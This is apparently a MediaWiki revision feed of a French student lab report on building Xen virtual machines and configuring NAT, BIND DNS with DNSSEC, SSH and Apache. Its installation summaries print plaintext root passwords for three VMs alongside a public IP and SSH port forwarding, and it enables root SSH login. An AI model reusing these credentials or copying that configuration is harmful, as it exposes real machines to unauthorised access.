Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11982</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11982"/>
		<updated>2026-02-01T23:20:26Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Etape 1 : Connexion SSH */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
